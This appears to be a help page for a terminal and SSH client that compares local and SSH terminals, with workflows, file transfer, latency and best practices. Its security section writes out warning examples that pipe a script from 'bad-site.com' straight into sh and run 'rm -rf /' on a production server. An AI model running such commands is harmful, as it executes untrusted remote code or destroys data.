Local Terminal vs SSH Terminal
Understand when to use local terminal versus SSH terminal, and how they differ in functionality and use cases.
Quick Comparison
| Feature | Local Terminal | SSH Terminal |
|---|---|---|
| Connection | No connection needed | Requires SSH connection |
| Location | Your computer | Remote server |
| Speed | Instant | Network dependent |
| Offline | ✅ Works offline | ❌ Needs internet |
| Setup | None | SSH credentials required |
| Files | Local filesystem | Remote filesystem |
| Resources | Your computer's | Server's |
| Use Case | Local development | Server management |
Fundamental Differences
1. Execution Location
Local Terminal:
# Command runs on YOUR computer
pwd
# Output: /Users/yourname
hostname
# Output: your-macbook.local
whoami
# Output: yourname
SSH Terminal:
# Same commands run on REMOTE server
pwd
# Output: /home/remoteuser
hostname
# Output: web-server-01
whoami
# Output: remoteuser
2. File System Access
Local Terminal:
# Access YOUR computer's files
ls ~/Documents
cat ~/.bashrc
cd /Applications # macOS
# File paths are local
/Users/yourname/... # macOS
/home/yourname/... # Linux
C:\Users\yourname\... # Windows
SSH Terminal:
# Access REMOTE server's files
ls ~/Documents # Server's documents
cat ~/.bashrc # Server's bashrc
cd /var/www # Server's web directory
# Different file system
/home/serveruser/...
/var/log/...
/etc/nginx/...
3. Network Requirements
Local Terminal:
┌────────────────┐
│ Your Computer │
│ │
│ [Terminal] │
│ ↓ │
│ Local Shell │
│ ↓ │
│ Local Commands │
└────────────────┘
✅ No internet needed
✅ Works offline
✅ Zero latency
SSH Terminal:
┌────────────────┐ ┌───────────────┐
│ Your Computer │ │ Remote Server │
│ │ │ │
│ [Terminal] │ │ Shell │
│ ↓ │ │ ↓ │
│ SSH Client ────┼────────┼→ SSH Server │
│ │ Network│ ↓ │
│ Display ←──────┼────────┼─ Commands │
└────────────────┘ └───────────────┘
❌ Needs internet
❌ Network latency
❌ Can disconnect
4. Resource Usage
Local Terminal:
# Check CPU - shows YOUR computer's usage
top
# Your: 4 cores, 16GB RAM
# Install software - uses YOUR disk space
npm install
# Downloads to YOUR computer
# Run server - uses YOUR ports
npm run dev
# Listening on localhost:3000 (YOUR machine)
SSH Terminal:
# Check CPU - shows SERVER's usage
top
# Server: 8 cores, 32GB RAM
# Install software - uses SERVER disk space
sudo apt install nginx
# Installs on SERVER
# Run server - uses SERVER ports
systemctl start nginx
# Listening on server IP:80
When to Use Each
Use Local Terminal For:
1. Development Work
# Code editing and building
cd ~/projects/my-app
code . # Open in editor
npm run dev # Start dev server
npm run build # Build project
npm test # Run tests
Why Local:
- Fast compilation
- No network delay
- Use local tools (IDE, browsers)
- Easy debugging
2. Git Operations
# Version control
git status
git add .
git commit -m "Update"
git push origin main
git pull --rebase
Why Local:
- Your code is local
- Git credentials stored locally
- Fast operations
- No server needed
3. Local File Management
# Organize your files
cd ~/Downloads
mv *.pdf ~/Documents/PDFs/
find ~/Desktop -name "*.log" -delete
rsync -avz backup/ /Volumes/External/
Why Local:
- Direct file access
- No transfer needed
- Familiar paths
- Fast operations
4. Package Installation
# Install development tools
npm install
pip install -r requirements.txt
brew install wget
cargo install ripgrep
Why Local:
- For local development
- No server access needed
- Use immediately
- Don't affect server
5. Quick Commands
# System information
date
cal
df -h
ifconfig
ping google.com
Why Local:
- Instant results
- No login needed
- Check YOUR system
- Always available
Use SSH Terminal For:
1. Server Management
# Manage remote services
sudo systemctl status nginx
sudo systemctl restart apache2
sudo service mysql start
pm2 restart all
Why SSH:
- Control server services
- Need root access
- Server-specific
- Can't do from local
2. Log Monitoring
# Watch server logs
tail -f /var/log/nginx/access.log
journalctl -u myapp -f
docker logs -f container_name
tail -f /var/log/syslog
Why SSH:
- Logs are on server
- Real-time monitoring
- Diagnose issues
- Production debugging
3. Deployment
# Deploy applications
cd /var/www/myapp
git pull origin main
npm install --production
npm run build
pm2 restart app
Why SSH:
- Deploy to server
- Production environment
- Server commands
- Update live site
4. Database Operations
# Remote database management
mysql -u root -p
psql -h localhost -U postgres mydb
mongosh --host server --port 27017
redis-cli -h 127.0.0.1
Why SSH:
- Database on server
- Security (not exposed)
- Server-side operations
- Production data
5. System Maintenance
# Server maintenance
sudo apt update
sudo apt upgrade
sudo reboot
crontab -e
sudo ufw status
Why SSH:
- Server administration
- Security updates
- System configuration
- Root access needed
Common Workflows
Workflow 1: Full-Stack Development
Local Terminal Tab 1: Frontend Dev
→ npm run dev (localhost:3000)
Local Terminal Tab 2: Git
→ git status, commits, push
SSH Terminal Tab 1: Backend API
→ pm2 logs api
→ Monitor production API
SSH Terminal Tab 2: Database
→ psql production_db
→ Query production data
Mixed usage for complete workflow!
Workflow 2: Debug Production Issue
Step 1: Check logs (SSH)
→ tail -f /var/log/app/error.log
→ Identify issue
Step 2: Test fix locally (Local)
→ Reproduce issue
→ Develop fix
→ Test locally
Step 3: Deploy fix (Local → SSH)
→ git commit and push (Local)
→ Pull and restart (SSH)
Step 4: Verify (SSH)
→ Check logs
→ Monitor errors
Workflow 3: Data Migration
Step 1: Export from server (SSH)
→ mysqldump db > backup.sql
→ Create backup on server
Step 2: Download to local (Local)
→ scp server:backup.sql ~/Downloads/
→ Get file locally
Step 3: Process locally (Local)
→ sed 's/old/new/g' backup.sql > modified.sql
→ Transform data
Step 4: Upload and import (Local → SSH)
→ scp modified.sql server:~/
→ mysql db < modified.sql (SSH)
Technical Differences
Command Availability
Local Terminal:
# Available: Tools installed on YOUR computer
✅ macOS/Linux/Windows native commands
✅ Homebrew/apt/choco installed tools
✅ Development tools (node, python, etc.)
✅ GUI launchers (open, xdg-open)
❌ Server-specific commands
❌ Remote service controls
❌ Production tools
SSH Terminal:
# Available: Tools installed on SERVER
✅ Linux/Unix server commands
✅ Server package manager tools
✅ Service management (systemctl, etc.)
✅ Production environment tools
❌ Your local tools
❌ macOS-specific commands (if Linux server)
❌ Windows commands (if Unix server)
Environment Variables
Local Terminal:
# YOUR environment variables
echo $HOME
# /Users/yourname (macOS)
echo $PATH
# /usr/local/bin:/usr/bin:...
# Your local paths
echo $USER
# yourname
SSH Terminal:
# SERVER's environment variables
echo $HOME
# /home/serveruser
echo $PATH
# /usr/bin:/bin:/usr/sbin:...
# Server paths
echo $USER
# serveruser
File Transfer
Need to transfer files between local and remote?
From Local to Remote:
# In Local Terminal
scp localfile.txt user@server:/remote/path/
# Or using rsync
rsync -avz local/ user@server:/remote/
# Or through SFTP (Xermius SFTP client)
From Remote to Local:
# In Local Terminal
scp user@server:/remote/file.txt ~/local/path/
# Or using rsync
rsync -avz user@server:/remote/ ~/local/
# Or through SFTP (Xermius SFTP client)
Clipboard
Local Terminal:
# Copy from terminal
# Select text → Ctrl+C
# Text available in YOUR clipboard
# Paste to terminal
# Ctrl+V
# Pastes from YOUR clipboard
SSH Terminal:
# Copy from remote
# Select text → Ctrl+C
# Text available in YOUR clipboard
# (Terminal output, not server clipboard)
# Paste to remote
# Ctrl+V
# From YOUR clipboard
# (Not server clipboard)
Note: SSH terminal shows remote output but clipboard is always local!
Performance Considerations
Speed Comparison
Local Terminal:
Command → Execution → Display
Average time: <1ms
- Instant execution
- No network
- Direct access
SSH Terminal:
Command → Network → Server → Execution → Network → Display
Average time: 10-500ms
- Network latency
- Encryption overhead
- Server processing
Example:
# Local: < 1ms
time ls
# real 0m0.001s
# SSH: ~50ms (good network)
ssh server "time ls"
# real 0m0.050s
# SSH: ~500ms (slow network)
ssh server "time ls"
# real 0m0.500s
Latency Impact
Low latency (< 20ms):
- Feels almost local
- Good for interactive work
- Normal typing speed
Medium latency (20-100ms):
- Noticeable delay
- Still usable
- Slight typing lag
High latency (> 100ms):
- Frustrating delays
- Hard to use interactively
- Better for scripted tasks
Test latency:
# In Local Terminal
ping server-ip
# Shows latency:
# 64 bytes from server: time=15.2 ms (good)
# 64 bytes from server: time=156 ms (slow)
Security Differences
Local Terminal
Security:
- ✅ No network exposure
- ✅ Direct hardware access
- ✅ Trusted environment
- ⚠️ Local malware risk
- ⚠️ Physical access risk
Risks:
# Accidentally running malicious script locally
curl bad-site.com/script.sh | sh
# Executes on YOUR computer!
# Better: Review first
curl bad-site.com/script.sh > script.sh
cat script.sh # Review
bash script.sh # Run if safe
SSH Terminal
Security:
- ✅ Encrypted connection
- ✅ Authentication required
- ✅ Isolated from local
- ⚠️ Network attacks possible
- ⚠️ Server compromise risk
Risks:
# Running unknown command on server
ssh server "curl bad-site.com/script.sh | sh"
# Executes on SERVER!
# Wrong server by accident
ssh production-server "rm -rf /"
# DISASTER if not careful!
Troubleshooting
Issue: Command Works Locally but Not via SSH
Cause: Different environments
Example:
# Local: Works
npm run build
# Success
# SSH: Fails
ssh server "npm run build"
# npm: command not found
Solution:
# SSH with login shell
ssh server "bash -l -c 'npm run build'"
# Or set PATH in SSH command
ssh server "PATH=/usr/local/bin:$PATH npm run build"
# Or use absolute path
ssh server "/usr/local/bin/npm run build"
Issue: Wrong Terminal Type
Problem: Running local command expecting SSH or vice versa
Example:
# In Local Terminal (WRONG!)
systemctl restart nginx
# systemctl: command not found (if macOS)
# Or restarts local service (not intended)
# Should be in SSH Terminal:
# Connected to server
systemctl restart nginx
Prevention:
- Check tab indicator: [💻 Local] vs [📡 Server]
- Verify with
pwdandhostname - Use tab naming for clarity
Best Practices
1. Organize Tabs Clearly
Good naming:
[💻 Local: Build]
[💻 Local: Git]
[📡 Web-01: Logs]
[📡 DB-01: MySQL]
Clear at a glance!
2. Use Right Terminal for Task
✓ Local for: Building, Git, Local files
✓ SSH for: Deployments, Logs, Server management
3. Don't Mix Environments
❌ Don't: Build on server
(Slow, wastes resources)
✓ Do: Build locally, deploy to server
(Fast, efficient)
❌ Don't: Edit production files locally
(Out of sync)
✓ Do: Edit on server or deploy from local
(Consistent)
4. Verify Before Dangerous Commands
# Always check location first
pwd
hostname
# Then run command
rm -rf directory/
5. Use Color/Theme Indicators
Settings → Terminal → Appearance
- Local terminals: Default theme
- Production servers: Red/warning theme
- Staging servers: Yellow theme
- Development servers: Blue theme
Visual distinction helps prevent mistakes!
Quick Reference
Check Where You Are
# In any terminal, run:
pwd && hostname && whoami
# Local example:
/Users/john
john-macbook.local
john
# SSH example:
/home/webuser
web-server-01
webuser
Switch Context
# From Local → SSH
# Just switch tab or create new SSH connection
# From SSH → Local
# Switch to local terminal tab
# Or open new local terminal: Ctrl+Shift+T
Transfer Files
# Local → Remote
scp file.txt user@server:/path/
# Remote → Local
scp user@server:/path/file.txt ./
# Or use SFTP tab in Xermius
Summary
Local Terminal:
- 👍 Fast, always available
- 👍 Development work
- 👍 No connection needed
- 👎 Only your computer
- 👎 Can't manage servers
SSH Terminal:
- 👍 Server management
- 👍 Production access
- 👍 Remote administration
- 👎 Needs connection
- 👎 Network latency
Use both for complete workflow!
Next Steps
- 📘 Local Terminal Overview - Learn the basics
- 💻 Using Local Terminal - Detailed guide
- 🐚 Shell Selection - Choose your shell
- 🔗 SSH Connections - Connect to servers